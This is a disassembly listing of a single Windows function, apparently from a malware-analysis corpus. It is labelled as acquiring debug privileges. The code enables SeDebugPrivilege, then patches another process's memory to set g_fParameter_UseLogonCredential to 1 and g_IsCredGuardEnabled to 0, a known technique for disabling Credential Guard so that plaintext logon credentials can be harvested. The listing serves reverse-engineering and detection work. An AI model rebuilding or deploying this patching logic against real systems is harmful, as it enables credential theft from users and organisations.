Function at 0x140001070
Capabilities:
Acquire debug privileges

Disassembly:
push rdi
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor edi, edi
lea r8, [0x140005a48]
lea rdx, [0x140005a4c]
mov qword [rsp + 0x30], rdi
lea rcx, [0x140005a50]
call qword [sym.imp.ntdll.dll_RtlGetNtVersionNumbers]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rdi + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400010ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken_Error___u_._n
call fcn.140001010
lea eax, [rdi - 1]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001850
add rsp, 0x70
pop rdi
ret
mov qword [rsp + 0x80], rbx
lea r8, [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov qword [rsp + 0x40], rdi
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000112f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValue_Error___u_._n
call fcn.140001010
jmp 0x14000129b
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], rdi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x54], rax
mov rcx, rbx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001186
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_Error___u_._n
call fcn.140001010
jmp 0x14000129b
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x40], edi
call fcn.1400012c0
test eax, eax
je 0x14000129b
mov rdx, qword [0x140005a58]
lea r8, [rsp + 0x38]
mov rcx, qword [0x140005a60]
mov r9d, 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140001211
mov edx, dword [rsp + 0x38]
lea rcx, str.___The_current_value_of_g_fParameter_UseLogonCredential_is__d_n
call fcn.140001010
mov rdx, qword [0x140005a58]
lea r8, [rsp + 0x48]
mov rcx, qword [0x140005a60]
mov r9d, 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
lea rcx, str.___Patched_value_of_g_fParameter_UseLogonCredential_to_1_n
lea rdx, str.____Failed_to_WriteProcessMemory_for_g_fParameter_UseLogonCredential._n
cmove rcx, rdx
jmp 0x140001218
lea rcx, str.____Failed_to_ReadProcessMemory_for_g_fParameter_UseLogonCredential_n
call fcn.140001010
mov rdx, qword [0x140005a78]
lea r8, [rsp + 0x38]
mov rcx, qword [0x140005a60]
mov r9d, 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000128f
mov edx, dword [rsp + 0x38]
lea rcx, str.___The_current_value_of_g_IsCredGuardEnabled_is__d_n
call fcn.140001010
mov rdx, qword [0x140005a78]
lea r8, [rsp + 0x40]
mov rcx, qword [0x140005a60]
mov r9d, 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
lea rcx, str.___Patched_value_of_g_IsCredGuardEnabled_to_0_n
lea rdx, str.____Failed_to_WriteProcessMemory_for_g_IsCredGuardEnabled._n
cmove rcx, rdx
jmp 0x140001296
lea rcx, str.____Failed_to_ReadProcessMemory_for_g_IsCredGuardEnabled_n
call fcn.140001010
mov rbx, qword [rsp + 0x80]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001850
add rsp, 0x70
pop rdi
ret